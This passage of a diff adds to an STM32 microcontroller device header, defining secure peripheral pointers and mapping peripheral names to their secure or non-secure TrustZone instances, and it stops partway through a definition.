+#define COMP1_S ((COMP_TypeDef *) COMP1_BASE_S) +#define COMP2_S ((COMP_TypeDef *) COMP2_BASE_S) +#define COMP12_COMMON_S ((COMP_Common_TypeDef *) COMP1_BASE_S) +#define VREFBUF_S ((VREFBUF_TypeDef *) VREFBUF_BASE_S) +#define RTC_S ((RTC_TypeDef *) RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_SRAM5_S ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GTZC_MPCBB5_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define GPIOJ_S ((GPIO_TypeDef *) GPIOJ_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_HS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) +#define HSPI1_S ((HSPI_TypeDef *) HSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define SRAM5_BASE SRAM5_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define GPIOJ GPIOJ_S +#define GPIOJ_BASE GPIOJ_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_S +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define GTZC_MPCBB5 GTZC_MPCBB5_S +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I2C5 I2C5_S +#define I2C5_BASE I2C5_BASE_S + +#define I2C6 I2C6_S +#define I2C6_BASE I2C6_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define HSPI1 HSPI1_S +#define HSPI1_R_BASE HSPI1_R_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_HS USB_OTG_HS_S +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define SRAM5_BASE SRAM5_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_NS + +#define GPDMA1_Channel7 GPDMA1_Channel7_NS +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_NS + +#define GPDMA1_Channel8 GPDMA1_Channel8_NS +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_NS + +#define GPDMA1_Channel9 GPDMA1_Channel9_NS +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_NS + +#define GPDMA1_Channel10 GPDMA1_Channel10_NS +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_NS + +#define GPDMA1_Channel11 GPDMA1_Channel11_NS +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_NS + +#define GPDMA1_Channel12 GPDMA1_Channel12_NS +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_NS + +#define GPDMA1_Channel13 GPDMA1_Channel13_NS +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_NS + +#define GPDMA1_Channel14 GPDMA1_Channel14_NS +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_NS + +#define GPDMA1_Channel15 GPDMA1_Channel15_NS +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_NS + +#define LPDMA1 LPDMA1_NS +#define LPDMA1_BASE LPDMA1_BASE_NS + +#define LPDMA1_Channel0 LPDMA1_Channel0_NS +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_NS + +#define LPDMA1_Channel1 LPDMA1_Channel1_NS +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_NS + +#define LPDMA1_Channel2 LPDMA1_Channel2_NS +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_NS + +#define LPDMA1_Channel3 LPDMA1_Channel3_NS +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_NS + +#define GPIOA GPIOA_NS +#define GPIOA_BASE GPIOA_BASE_NS + +#define GPIOB GPIOB_NS +#define GPIOB_BASE GPIOB_BASE_NS + +#define GPIOC GPIOC_NS +#define GPIOC_BASE GPIOC_BASE_NS + +#define GPIOD GPIOD_NS +#define GPIOD_BASE GPIOD_BASE_NS + +#define GPIOE GPIOE_NS +#define GPIOE_BASE GPIOE_BASE_NS + +#define GPIOF GPIOF_NS +#define GPIOF_BASE GPIOF_BASE_NS + +#define GPIOG GPIOG_NS +#define GPIOG_BASE GPIOG_BASE_NS + +#define GPIOH GPIOH_NS +#define GPIOH_BASE GPIOH_BASE_NS + +#define GPIOI GPIOI_NS +#define GPIOI_BASE GPIOI_BASE_NS +#define GPIOJ GPIOJ_NS +#define GPIOJ_BASE GPIOJ_BASE_NS + +#define LPGPIO1 LPGPIO1_NS +#define LPGPIO1_BASE LPGPIO1_BASE_NS + +#define PWR PWR_NS +#define PWR_BASE PWR_BASE_NS + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_NS +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_NS + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_NS +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_NS + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_NS +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_NS + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_NS +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_NS + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_NS +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_NS + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_NS +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_NS + +#define EXTI EXTI_NS +#define EXTI_BASE 